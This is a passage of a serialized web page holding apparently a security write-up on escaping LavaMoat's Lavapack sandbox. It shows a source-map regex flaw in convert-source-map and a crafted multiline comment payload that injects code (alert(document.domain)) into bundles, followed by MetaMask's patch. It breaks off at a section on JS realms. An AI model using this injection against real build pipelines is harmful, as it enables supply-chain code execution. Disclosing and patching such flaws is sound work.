'",{"type":24,"tag":83,"props":48073,"children":48074},{"style":143},[48075],{"type":29,"value":8649},{"type":24,"tag":83,"props":48077,"children":48078},{"style":137},[48079],{"type":29,"value":48080}," src",{"type":24,"tag":83,"props":48082,"children":48083},{"style":143},[48084],{"type":29,"value":8649},{"type":24,"tag":83,"props":48086,"children":48087},{"style":187},[48088],{"type":29,"value":48089}," '",{"type":24,"tag":83,"props":48091,"children":48093},{"style":48092},"--shiki-default:#D7BA7D",[48094],{"type":29,"value":48095},"\\n",{"type":24,"tag":83,"props":48097,"children":48098},{"style":187},[48099],{"type":29,"value":48100},"})()'",{"type":24,"tag":83,"props":48102,"children":48103},{"style":107},[48104],{"type":29,"value":581},{"type":24,"tag":83,"props":48106,"children":48107},{"class":85,"line":128},[48108,48112],{"type":24,"tag":83,"props":48109,"children":48110},{"style":117},[48111],{"type":29,"value":16725},{"type":24,"tag":83,"props":48113,"children":48114},{"style":107},[48115],{"type":29,"value":321},{"type":24,"tag":83,"props":48117,"children":48118},{"class":85,"line":183},[48119],{"type":24,"tag":83,"props":48120,"children":48121},{"style":107},[48122],{"type":29,"value":464},{"type":24,"tag":83,"props":48124,"children":48125},{"class":85,"line":203},[48126,48130,48134,48139],{"type":24,"tag":83,"props":48127,"children":48128},{"style":117},[48129],{"type":29,"value":1295},{"type":24,"tag":83,"props":48131,"children":48132},{"style":107},[48133],{"type":29,"value":223},{"type":24,"tag":83,"props":48135,"children":48136},{"style":137},[48137],{"type":29,"value":48138},"err",{"type":24,"tag":83,"props":48140,"children":48141},{"style":107},[48142],{"type":29,"value":253},{"type":24,"tag":83,"props":48144,"children":48145},{"class":85,"line":212},[48146,48150,48154,48158,48162,48167,48171,48176,48180],{"type":24,"tag":83,"props":48147,"children":48148},{"style":117},[48149],{"type":29,"value":218},{"type":24,"tag":83,"props":48151,"children":48152},{"style":107},[48153],{"type":29,"value":223},{"type":24,"tag":83,"props":48155,"children":48156},{"style":137},[48157],{"type":29,"value":48138},{"type":24,"tag":83,"props":48159,"children":48160},{"style":143},[48161],{"type":29,"value":877},{"type":24,"tag":83,"props":48163,"children":48164},{"style":187},[48165],{"type":29,"value":48166}," 'STOP'",{"type":24,"tag":83,"props":48168,"children":48169},{"style":107},[48170],{"type":29,"value":633},{"type":24,"tag":83,"props":48172,"children":48173},{"style":117},[48174],{"type":29,"value":48175},"return",{"type":24,"tag":83,"props":48177,"children":48178},{"style":90},[48179],{"type":29,"value":39053},{"type":24,"tag":83,"props":48181,"children":48182},{"style":107},[48183],{"type":29,"value":321},{"type":24,"tag":83,"props":48185,"children":48186},{"class":85,"line":256},[48187,48191,48195,48199,48203,48208,48212,48217,48222,48227,48231,48235,48240],{"type":24,"tag":83,"props":48188,"children":48189},{"style":117},[48190],{"type":29,"value":218},{"type":24,"tag":83,"props":48192,"children":48193},{"style":107},[48194],{"type":29,"value":223},{"type":24,"tag":83,"props":48196,"children":48197},{"style":137},[48198],{"type":29,"value":48138},{"type":24,"tag":83,"props":48200,"children":48201},{"style":107},[48202],{"type":29,"value":161},{"type":24,"tag":83,"props":48204,"children":48205},{"style":137},[48206],{"type":29,"value":48207},"constructor",{"type":24,"tag":83,"props":48209,"children":48210},{"style":107},[48211],{"type":29,"value":161},{"type":24,"tag":83,"props":48213,"children":48214},{"style":137},[48215],{"type":29,"value":48216},"name",{"type":24,"tag":83,"props":48218,"children":48219},{"style":143},[48220],{"type":29,"value":48221}," !==",{"type":24,"tag":83,"props":48223,"children":48224},{"style":187},[48225],{"type":29,"value":48226}," 'SyntaxError'",{"type":24,"tag":83,"props":48228,"children":48229},{"style":107},[48230],{"type":29,"value":633},{"type":24,"tag":83,"props":48232,"children":48233},{"style":117},[48234],{"type":29,"value":48175},{"type":24,"tag":83,"props":48236,"children":48237},{"style":137},[48238],{"type":29,"value":48239}," err",{"type":24,"tag":83,"props":48241,"children":48242},{"style":107},[48243],{"type":29,"value":321},{"type":24,"tag":83,"props":48245,"children":48246},{"class":85,"line":270},[48247,48251,48256,48260,48264,48268,48272,48276,48281],{"type":24,"tag":83,"props":48248,"children":48249},{"style":117},[48250],{"type":29,"value":16725},{"type":24,"tag":83,"props":48252,"children":48253},{"style":101},[48254],{"type":29,"value":48255}," errorInfo",{"type":24,"tag":83,"props":48257,"children":48258},{"style":107},[48259],{"type":29,"value":558},{"type":24,"tag":83,"props":48261,"children":48262},{"style":137},[48263],{"type":29,"value":32408},{"type":24,"tag":83,"props":48265,"children":48266},{"style":107},[48267],{"type":29,"value":568},{"type":24,"tag":83,"props":48269,"children":48270},{"style":137},[48271],{"type":29,"value":47663},{"type":24,"tag":83,"props":48273,"children":48274},{"style":107},[48275],{"type":29,"value":568},{"type":24,"tag":83,"props":48277,"children":48278},{"style":137},[48279],{"type":29,"value":48280},"opts",{"type":24,"tag":83,"props":48282,"children":48283},{"style":107},[48284],{"type":29,"value":581},{"type":24,"tag":83,"props":48286,"children":48287},{"class":85,"line":302},[48288],{"type":24,"tag":83,"props":48289,"children":48290},{"style":107},[48291],{"type":29,"value":464},{"type":24,"tag":25,"props":48293,"children":48294},{},[48295,48297,48301,48303,48309,48311,48316],{"type":29,"value":48296},"Interestingly, it ",{"type":24,"tag":2655,"props":48298,"children":48299},{},[48300],{"type":29,"value":3717},{"type":29,"value":48302}," possible to inject a ",{"type":24,"tag":32,"props":48304,"children":48306},{"className":48305},[],[48307],{"type":29,"value":48308},"}); (() => {",{"type":29,"value":48310}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":24,"tag":32,"props":48312,"children":48314},{"className":48313},[],[48315],{"type":29,"value":47833},{"type":29,"value":48317}," sandbox of Lavapack.",{"type":24,"tag":1818,"props":48319,"children":48321},{"id":48320},"sourcemap-the-syntax-killer",[48322],{"type":29,"value":48323},"SourceMap: The Syntax Killer",{"type":24,"tag":25,"props":48325,"children":48326},{},[48327,48329,48336],{"type":29,"value":48328},"Lavapack has a feature to extract source maps files from the code using ",{"type":24,"tag":2033,"props":48330,"children":48333},{"href":48331,"rel":48332},"https://www.npmjs.com/package/convert-source-map",[2037],[48334],{"type":29,"value":48335},"convert-source-map",{"type":29,"value":48337}," npm package:",{"type":24,"tag":73,"props":48339,"children":48341},{"className":77,"code":48340,"language":76,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[48342],{"type":24,"tag":32,"props":48343,"children":48344},{"__ignoreMap":7},[48345,48369,48411,48419,48460,48501,48529],{"type":24,"tag":83,"props":48346,"children":48347},{"class":85,"line":86},[48348,48352,48357,48361,48365],{"type":24,"tag":83,"props":48349,"children":48350},{"style":90},[48351],{"type":29,"value":31126},{"type":24,"tag":83,"props":48353,"children":48354},{"style":101},[48355],{"type":29,"value":48356}," extractSourceMaps",{"type":24,"tag":83,"props":48358,"children":48359},{"style":107},[48360],{"type":29,"value":558},{"type":24,"tag":83,"props":48362,"children":48363},{"style":137},[48364],{"type":29,"value":37737},{"type":24,"tag":83,"props":48366,"children":48367},{"style":107},[48368],{"type":29,"value":253},{"type":24,"tag":83,"props":48370,"children":48371},{"class":85,"line":113},[48372,48376,48381,48385,48390,48394,48399,48403,48407],{"type":24,"tag":83,"props":48373,"children":48374},{"style":90},[48375],{"type":29,"value":526},{"type":24,"tag":83,"props":48377,"children":48378},{"style":137},[48379],{"type":29,"value":48380}," converter",{"type":24,"tag":83,"props":48382,"children":48383},{"style":143},[48384],{"type":29,"value":146},{"type":24,"tag":83,"props":48386,"children":48387},{"style":137},[48388],{"type":29,"value":48389}," convertSourceMap",{"type":24,"tag":83,"props":48391,"children":48392},{"style":107},[48393],{"type":29,"value":161},{"type":24,"tag":83,"props":48395,"children":48396},{"style":101},[48397],{"type":29,"value":48398},"fromSource",{"type":24,"tag":83,"props":48400,"children":48401},{"style":107},[48402],{"type":29,"value":558},{"type":24,"tag":83,"props":48404,"children":48405},{"style":137},[48406],{"type":29,"value":37737},{"type":24,"tag":83,"props":48408,"children":48409},{"style":107},[48410],{"type":29,"value":2905},{"type":24,"tag":83,"props":48412,"children":48413},{"class":85,"line":128},[48414],{"type":24,"tag":83,"props":48415,"children":48416},{"style":2735},[48417],{"type":29,"value":48418},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":24,"tag":83,"props":48420,"children":48421},{"class":85,"line":183},[48422,48426,48431,48435,48439,48443,48447,48451,48456],{"type":24,"tag":83,"props":48423,"children":48424},{"style":90},[48425],{"type":29,"value":526},{"type":24,"tag":83,"props":48427,"children":48428},{"style":137},[48429],{"type":29,"value":48430}," maps",{"type":24,"tag":83,"props":48432,"children":48433},{"style":143},[48434],{"type":29,"value":146},{"type":24,"tag":83,"props":48436,"children":48437},{"style":137},[48438],{"type":29,"value":48380},{"type":24,"tag":83,"props":48440,"children":48441},{"style":143},[48442],{"type":29,"value":1126},{"type":24,"tag":83,"props":48444,"children":48445},{"style":137},[48446],{"type":29,"value":48380},{"type":24,"tag":83,"props":48448,"children":48449},{"style":107},[48450],{"type":29,"value":161},{"type":24,"tag":83,"props":48452,"children":48453},{"style":101},[48454],{"type":29,"value":48455},"toObject",{"type":24,"tag":83,"props":48457,"children":48458},{"style":107},[48459],{"type":29,"value":7483},{"type":24,"tag":83,"props":48461,"children":48462},{"class":85,"line":203},[48463,48467,48472,48476,48480,48484,48489,48493,48497],{"type":24,"tag":83,"props":48464,"children":48465},{"style":90},[48466],{"type":29,"value":526},{"type":24,"tag":83,"props":48468,"children":48469},{"style":137},[48470],{"type":29,"value":48471}," code",{"type":24,"tag":83,"props":48473,"children":48474},{"style":143},[48475],{"type":29,"value":146},{"type":24,"tag":83,"props":48477,"children":48478},{"style":137},[48479],{"type":29,"value":48389},{"type":24,"tag":83,"props":48481,"children":48482},{"style":107},[48483],{"type":29,"value":161},{"type":24,"tag":83,"props":48485,"children":48486},{"style":101},[48487],{"type":29,"value":48488},"removeComments",{"type":24,"tag":83,"props":48490,"children":48491},{"style":107},[48492],{"type":29,"value":558},{"type":24,"tag":83,"props":48494,"children":48495},{"style":137},[48496],{"type":29,"value":37737},{"type":24,"tag":83,"props":48498,"children":48499},{"style":107},[48500],{"type":29,"value":2905},{"type":24,"tag":83,"props":48502,"children":48503},{"class":85,"line":212},[48504,48508,48512,48516,48520,48525],{"type":24,"tag":83,"props":48505,"children":48506},{"style":117},[48507],{"type":29,"value":1054},{"type":24,"tag":83,"props":48509,"children":48510},{"style":107},[48511],{"type":29,"value":9333},{"type":24,"tag":83,"props":48513,"children":48514},{"style":137},[48515],{"type":29,"value":32},{"type":24,"tag":83,"props":48517,"children":48518},{"style":107},[48519],{"type":29,"value":568},{"type":24,"tag":83,"props":48521,"children":48522},{"style":137},[48523],{"type":29,"value":48524},"maps",{"type":24,"tag":83,"props":48526,"children":48527},{"style":107},[48528],{"type":29,"value":9342},{"type":24,"tag":83,"props":48530,"children":48531},{"class":85,"line":256},[48532],{"type":24,"tag":83,"props":48533,"children":48534},{"style":107},[48535],{"type":29,"value":464},{"type":24,"tag":25,"props":48537,"children":48538},{},[48539,48541,48546,48548,48553],{"type":29,"value":48540},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":24,"tag":32,"props":48542,"children":48544},{"className":48543},[],[48545],{"type":29,"value":47984},{"type":29,"value":48547}," stage. Reviewing the ",{"type":24,"tag":32,"props":48549,"children":48551},{"className":48550},[],[48552],{"type":29,"value":48335},{"type":29,"value":48554}," code, we can see exactly how this happens.",{"type":24,"tag":73,"props":48556,"children":48558},{"className":77,"code":48557,"language":76,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[48559],{"type":24,"tag":32,"props":48560,"children":48561},{"__ignoreMap":7},[48562,48600,48626,48634,48847,48854,48861,48868,48903,48953],{"type":24,"tag":83,"props":48563,"children":48564},{"class":85,"line":86},[48565,48570,48574,48579,48583,48587,48591,48596],{"type":24,"tag":83,"props":48566,"children":48567},{"style":137},[48568],{"type":29,"value":48569},"Object",{"type":24,"tag":83,"props":48571,"children":48572},{"style":107},[48573],{"type":29,"value":161},{"type":24,"tag":83,"props":48575,"children":48576},{"style":101},[48577],{"type":29,"value":48578},"defineProperty",{"type":24,"tag":83,"props":48580,"children":48581},{"style":107},[48582],{"type":29,"value":558},{"type":24,"tag":83,"props":48584,"children":48585},{"style":3163},[48586],{"type":29,"value":37609},{"type":24,"tag":83,"props":48588,"children":48589},{"style":107},[48590],{"type":29,"value":568},{"type":24,"tag":83,"props":48592,"children":48593},{"style":187},[48594],{"type":29,"value":48595},"'commentRegex'",{"type":24,"tag":83,"props":48597,"children":48598},{"style":107},[48599],{"type":29,"value":963},{"type":24,"tag":83,"props":48601,"children":48602},{"class":85,"line":113},[48603,48608,48612,48616,48621],{"type":24,"tag":83,"props":48604,"children":48605},{"style":101},[48606],{"type":29,"value":48607},"  get",{"type":24,"tag":83,"props":48609,"children":48610},{"style":137},[48611],{"type":29,"value":195},{"type":24,"tag":83,"props":48613,"children":48614},{"style":90},[48615],{"type":29,"value":98},{"type":24,"tag":83,"props":48617,"children":48618},{"style":101},[48619],{"type":29,"value":48620}," getCommentRegex",{"type":24,"tag":83,"props":48622,"children":48623},{"style":107},[48624],{"type":29,"value":48625}," () {\n",{"type":24,"tag":83,"props":48627,"children":48628},{"class":85,"line":128},[48629],{"type":24,"tag":83,"props":48630,"children":48631},{"style":2735},[48632],{"type":29,"value":48633},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":24,"tag":83,"props":48635,"children":48636},{"class":85,"line":183},[48637,48641,48647,48651,48656,48661,48665,48670,48675,48680,48684,48688,48693,48698,48703,48708,48712,48716,48720,48725,48729,48734,48739,48744,48749,48753,48757,48761,48765,48769,48773,48777,48781,48786,48791,48795,48800,48805,48809,48813,48817,48821,48826,48830,48834,48838,48843],{"type":24,"tag":83,"props":48638,"children":48639},{"style":117},[48640],{"type":29,"value":16725},{"type":24,"tag":83,"props":48642,"children":48644},{"style":48643},"--shiki-default:#D16969",[48645],{"type":29,"value":48646}," /",{"type":24,"tag":83,"props":48648,"children":48649},{"style":101},[48650],{"type":29,"value":1891},{"type":24,"tag":83,"props":48652,"children":48653},{"style":48643},[48654],{"type":29,"value":48655},"\\s",{"type":24,"tag":83,"props":48657,"children":48658},{"style":48092},[48659],{"type":29,"value":48660},"*?\\/",{"type":24,"tag":83,"props":48662,"children":48663},{"style":187},[48664],{"type":29,"value":1161},{"type":24,"tag":83,"props":48666,"children":48667},{"style":48092},[48668],{"type":29,"value":48669},"\\/\\*",{"type":24,"tag":83,"props":48671,"children":48672},{"style":187},[48673],{"type":29,"value":48674},"][",{"type":24,"tag":83,"props":48676,"children":48677},{"style":48643},[48678],{"type":29,"value":48679},"@#",{"type":24,"tag":83,"props":48681,"children":48682},{"style":187},[48683],{"type":29,"value":15151},{"type":24,"tag":83,"props":48685,"children":48686},{"style":48643},[48687],{"type":29,"value":48655},{"type":24,"tag":83,"props":48689,"children":48690},{"style":48092},[48691],{"type":29,"value":48692},"+?",{"type":24,"tag":83,"props":48694,"children":48695},{"style":48643},[48696],{"type":29,"value":48697},"sourceMappingURL=data:",{"type":24,"tag":83,"props":48699,"children":48700},{"style":187},[48701],{"type":29,"value":48702},"(((?:",{"type":24,"tag":83,"props":48704,"children":48705},{"style":48643},[48706],{"type":29,"value":48707},"application",{"type":24,"tag":83,"props":48709,"children":48710},{"style":101},[48711],{"type":29,"value":10163},{"type":24,"tag":83,"props":48713,"children":48714},{"style":48643},[48715],{"type":29,"value":29},{"type":24,"tag":83,"props":48717,"children":48718},{"style":187},[48719],{"type":29,"value":2872},{"type":24,"tag":83,"props":48721,"children":48722},{"style":48092},[48723],{"type":29,"value":48724},"\\/",{"type":24,"tag":83,"props":48726,"children":48727},{"style":48643},[48728],{"type":29,"value":743},{"type":24,"tag":83,"props":48730,"children":48731},{"style":187},[48732],{"type":29,"value":48733},")(?:",{"type":24,"tag":83,"props":48735,"children":48736},{"style":48643},[48737],{"type":29,"value":48738},";charset=",{"type":24,"tag":83,"props":48740,"children":48741},{"style":187},[48742],{"type":29,"value":48743},"([^",{"type":24,"tag":83,"props":48745,"children":48746},{"style":48643},[48747],{"type":29,"value":48748},";,",{"type":24,"tag":83,"props":48750,"children":48751},{"style":187},[48752],{"type":29,"value":15151},{"type":24,"tag":83,"props":48754,"children":48755},{"style":48092},[48756],{"type":29,"value":48692},{"type":24,"tag":83,"props":48758,"children":48759},{"style":187},[48760],{"type":29,"value":2872},{"type":24,"tag":83,"props":48762,"children":48763},{"style":48092},[48764],{"type":29,"value":2900},{"type":24,"tag":83,"props":48766,"children":48767},{"style":187},[48768],{"type":29,"value":2872},{"type":24,"tag":83,"props":48770,"children":48771},{"style":48092},[48772],{"type":29,"value":2900},{"type":24,"tag":83,"props":48774,"children":48775},{"style":187},[48776],{"type":29,"value":2872},{"type":24,"tag":83,"props":48778,"children":48779},{"style":48092},[48780],{"type":29,"value":2900},{"type":24,"tag":83,"props":48782,"children":48783},{"style":187},[48784],{"type":29,"value":48785},"(?:",{"type":24,"tag":83,"props":48787,"children":48788},{"style":48643},[48789],{"type":29,"value":48790},";",{"type":24,"tag":83,"props":48792,"children":48793},{"style":187},[48794],{"type":29,"value":558},{"type":24,"tag":83,"props":48796,"children":48797},{"style":48643},[48798],{"type":29,"value":48799},"base64",{"type":24,"tag":83,"props":48801,"children":48802},{"style":187},[48803],{"type":29,"value":48804},"))",{"type":24,"tag":83,"props":48806,"children":48807},{"style":48092},[48808],{"type":29,"value":2900},{"type":24,"tag":83,"props":48810,"children":48811},{"style":48643},[48812],{"type":29,"value":3868},{"type":24,"tag":83,"props":48814,"children":48815},{"style":187},[48816],{"type":29,"value":558},{"type":24,"tag":83,"props":48818,"children":48819},{"style":48643},[48820],{"type":29,"value":161},{"type":24,"tag":83,"props":48822,"children":48823},{"style":48092},[48824],{"type":29,"value":48825},"*?",{"type":24,"tag":83,"props":48827,"children":48828},{"style":187},[48829],{"type":29,"value":2872},{"type":24,"tag":83,"props":48831,"children":48832},{"style":101},[48833],{"type":29,"value":10035},{"type":24,"tag":83,"props":48835,"children":48836},{"style":48643},[48837],{"type":29,"value":4325},{"type":24,"tag":83,"props":48839,"children":48840},{"style":90},[48841],{"type":29,"value":48842},"mg",{"type":24,"tag":83,"props":48844,"children":48845},{"style":107},[48846],{"type":29,"value":321},{"type":24,"tag":83,"props":48848,"children":48849},{"class":85,"line":203},[48850],{"type":24,"tag":83,"props":48851,"children":48852},{"style":107},[48853],{"type":29,"value":455},{"type":24,"tag":83,"props":48855,"children":48856},{"class":85,"line":212},[48857],{"type":24,"tag":83,"props":48858,"children":48859},{"style":107},[48860],{"type":29,"value":35072},{"type":24,"tag":83,"props":48862,"children":48863},{"class":85,"line":256},[48864],{"type":24,"tag":83,"props":48865,"children":48866},{"emptyLinePlaceholder":16},[48867],{"type":29,"value":3422},{"type":24,"tag":83,"props":48869,"children":48870},{"class":85,"line":270},[48871,48875,48879,48883,48887,48891,48895,48899],{"type":24,"tag":83,"props":48872,"children":48873},{"style":3163},[48874],{"type":29,"value":37609},{"type":24,"tag":83,"props":48876,"children":48877},{"style":107},[48878],{"type":29,"value":161},{"type":24,"tag":83,"props":48880,"children":48881},{"style":101},[48882],{"type":29,"value":48488},{"type":24,"tag":83,"props":48884,"children":48885},{"style":143},[48886],{"type":29,"value":146},{"type":24,"tag":83,"props":48888,"children":48889},{"style":90},[48890],{"type":29,"value":98},{"type":24,"tag":83,"props":48892,"children":48893},{"style":107},[48894],{"type":29,"value":223},{"type":24,"tag":83,"props":48896,"children":48897},{"style":137},[48898],{"type":29,"value":32408},{"type":24,"tag":83,"props":48900,"children":48901},{"style":107},[48902],{"type":29,"value":253},{"type":24,"tag":83,"props":48904,"children":48905},{"class":85,"line":302},[48906,48910,48914,48918,48923,48927,48931,48935,48940,48944,48949],{"type":24,"tag":83,"props":48907,"children":48908},{"style":117},[48909],{"type":29,"value":1054},{"type":24,"tag":83,"props":48911,"children":48912},{"style":137},[48913],{"type":29,"value":48080},{"type":24,"tag":83,"props":48915,"children":48916},{"style":107},[48917],{"type":29,"value":161},{"type":24,"tag":83,"props":48919,"children":48920},{"style":101},[48921],{"type":29,"value":48922},"replace",{"type":24,"tag":83,"props":48924,"children":48925},{"style":107},[48926],{"type":29,"value":558},{"type":24,"tag":83,"props":48928,"children":48929},{"style":3163},[48930],{"type":29,"value":37609},{"type":24,"tag":83,"props":48932,"children":48933},{"style":107},[48934],{"type":29,"value":161},{"type":24,"tag":83,"props":48936,"children":48937},{"style":137},[48938],{"type":29,"value":48939},"commentRegex",{"type":24,"tag":83,"props":48941,"children":48942},{"style":107},[48943],{"type":29,"value":568},{"type":24,"tag":83,"props":48945,"children":48946},{"style":187},[48947],{"type":29,"value":48948},"''",{"type":24,"tag":83,"props":48950,"children":48951},{"style":107},[48952],{"type":29,"value":581},{"type":24,"tag":83,"props":48954,"children":48955},{"class":85,"line":324},[48956],{"type":24,"tag":83,"props":48957,"children":48958},{"style":107},[48959],{"type":29,"value":1071},{"type":24,"tag":25,"props":48961,"children":48962},{},[48963,48965,48971],{"type":29,"value":48964},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":24,"tag":32,"props":48966,"children":48968},{"className":48967},[],[48969],{"type":29,"value":48970},"/*",{"type":29,"value":48972},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":24,"tag":1818,"props":48974,"children":48976},{"id":48975},"the-bypass",[48977],{"type":29,"value":48978},"The Bypass",{"type":24,"tag":25,"props":48980,"children":48981},{},[48982,48984,48989,48991,48996],{"type":29,"value":48983},"By abusing the ",{"type":24,"tag":32,"props":48985,"children":48987},{"className":48986},[],[48988],{"type":29,"value":48488},{"type":29,"value":48990}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":24,"tag":32,"props":48992,"children":48994},{"className":48993},[],[48995],{"type":29,"value":47833},{"type":29,"value":48997}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":24,"tag":73,"props":48999,"children":49001},{"className":77,"code":49000,"language":76,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[49002],{"type":24,"tag":32,"props":49003,"children":49004},{"__ignoreMap":7},[49005,49013,49020,49028,49036,49044,49052,49060,49068,49075,49083],{"type":24,"tag":83,"props":49006,"children":49007},{"class":85,"line":86},[49008],{"type":24,"tag":83,"props":49009,"children":49010},{"style":2735},[49011],{"type":29,"value":49012},"/*# sourceMappingURL=data:,{}\n",{"type":24,"tag":83,"props":49014,"children":49015},{"class":85,"line":113},[49016],{"type":24,"tag":83,"props":49017,"children":49018},{"emptyLinePlaceholder":16},[49019],{"type":29,"value":3422},{"type":24,"tag":83,"props":49021,"children":49022},{"class":85,"line":128},[49023],{"type":24,"tag":83,"props":49024,"children":49025},{"style":2735},[49026],{"type":29,"value":49027},"}}}}\n",{"type":24,"tag":83,"props":49029,"children":49030},{"class":85,"line":183},[49031],{"type":24,"tag":83,"props":49032,"children":49033},{"style":2735},[49034],{"type":29,"value":49035},"}, {\n",{"type":24,"tag":83,"props":49037,"children":49038},{"class":85,"line":203},[49039],{"type":24,"tag":83,"props":49040,"children":49041},{"style":2735},[49042],{"type":29,"value":49043},"    package: \"xpl\",\n",{"type":24,"tag":83,"props":49045,"children":49046},{"class":85,"line":212},[49047],{"type":24,"tag":83,"props":49048,"children":49049},{"style":2735},[49050],{"type":29,"value":49051},"    file: \"node_modules/xpl/index.js\",\n",{"type":24,"tag":83,"props":49053,"children":49054},{"class":85,"line":256},[49055],{"type":24,"tag":83,"props":49056,"children":49057},{"style":2735},[49058],{"type":29,"value":49059},"    test: alert(document.domain),\n",{"type":24,"tag":83,"props":49061,"children":49062},{"class":85,"line":270},[49063],{"type":24,"tag":83,"props":49064,"children":49065},{"style":2735},[49066],{"type":29,"value":49067},"    test1: () => { () => { () => { () => {\n",{"type":24,"tag":83,"props":49069,"children":49070},{"class":85,"line":302},[49071],{"type":24,"tag":83,"props":49072,"children":49073},{"emptyLinePlaceholder":16},[49074],{"type":29,"value":3422},{"type":24,"tag":83,"props":49076,"children":49077},{"class":85,"line":324},[49078],{"type":24,"tag":83,"props":49079,"children":49080},{"style":2735},[49081],{"type":29,"value":49082},"/*\n",{"type":24,"tag":83,"props":49084,"children":49085},{"class":85,"line":345},[49086],{"type":24,"tag":83,"props":49087,"children":49088},{"style":2735},[49089],{"type":29,"value":49090},"*/\n",{"type":24,"tag":25,"props":49092,"children":49093},{},[49094],{"type":29,"value":49095},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":24,"tag":1818,"props":49097,"children":49099},{"id":49098},"lavapack-patch",[49100],{"type":29,"value":49101},"Lavapack Patch",{"type":24,"tag":25,"props":49103,"children":49104},{},[49105,49107,49113],{"type":29,"value":49106},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":24,"tag":32,"props":49108,"children":49110},{"className":49109},[],[49111],{"type":29,"value":49112},"assertValidJS",{"type":29,"value":49114},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":24,"tag":25,"props":49116,"children":49117},{},[49118,49120,49127],{"type":29,"value":49119},"The patch was introduced in commit ",{"type":24,"tag":2033,"props":49121,"children":49124},{"href":49122,"rel":49123},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[2037],[49125],{"type":29,"value":49126},"9c38cd4",{"type":29,"value":161},{"type":24,"tag":73,"props":49129,"children":49131},{"className":40076,"code":49130,"language":40078,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[49132],{"type":24,"tag":32,"props":49133,"children":49134},{"__ignoreMap":7},[49135,49143,49151,49159,49167,49175,49183,49191,49198,49206],{"type":24,"tag":83,"props":49136,"children":49137},{"class":85,"line":86},[49138],{"type":24,"tag":83,"props":49139,"children":49140},{"style":245},[49141],{"type":29,"value":49142},"+ function assertValidJS(code) {\n",{"type":24,"tag":83,"props":49144,"children":49145},{"class":85,"line":113},[49146],{"type":24,"tag":83,"props":49147,"children":49148},{"style":245},[49149],{"type":29,"value":49150},"+  try {\n",{"type":24,"tag":83,"props":49152,"children":49153},{"class":85,"line":128},[49154],{"type":24,"tag":83,"props":49155,"children":49156},{"style":245},[49157],{"type":29,"value":49158},"+    new Function(code)\n",{"type":24,"tag":83,"props":49160,"children":49161},{"class":85,"line":183},[49162],{"type":24,"tag":83,"props":49163,"children":49164},{"style":245},[49165],{"type":29,"value":49166},"+  } catch (err) {\n",{"type":24,"tag":83,"props":49168,"children":49169},{"class":85,"line":203},[49170],{"type":24,"tag":83,"props":49171,"children":49172},{"style":245},[49173],{"type":29,"value":49174},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":24,"tag":83,"props":49176,"children":49177},{"class":85,"line":212},[49178],{"type":24,"tag":83,"props":49179,"children":49180},{"style":245},[49181],{"type":29,"value":49182},"+  }\n",{"type":24,"tag":83,"props":49184,"children":49185},{"class":85,"line":256},[49186],{"type":24,"tag":83,"props":49187,"children":49188},{"style":245},[49189],{"type":29,"value":49190},"+ }\n",{"type":24,"tag":83,"props":49192,"children":49193},{"class":85,"line":270},[49194],{"type":24,"tag":83,"props":49195,"children":49196},{"emptyLinePlaceholder":16},[49197],{"type":29,"value":3422},{"type":24,"tag":83,"props":49199,"children":49200},{"class":85,"line":302},[49201],{"type":24,"tag":83,"props":49202,"children":49203},{"style":245},[49204],{"type":29,"value":49205},"+  // additional layer of syntax checking independent of browserify\n",{"type":24,"tag":83,"props":49207,"children":49208},{"class":85,"line":324},[49209],{"type":24,"tag":83,"props":49210,"children":49211},{"style":245},[49212],{"type":29,"value":49213},"+  assertValidJS(sourceMeta.code)\n",{"type":24,"tag":51,"props":49215,"children":49217},{"id":49216},"hacking-js-realms",[49218],{"type":29,"value":49219},"Hacking JS Realms",{"type":24,"tag":25,"props":49221,"children":49222},{},[49223,49225,49230],{"type":29,"value":49224},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":24,"tag":32,"props":49226,"children":49228},{"className":49227},[],[49229],{"type":29,"value":37141},{"type":29,"value":49231}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":24,"tag":73,"props":49233,"children":49235},{"className":77,"code":49234,"language":76,"meta":7,"style":7},"const w = 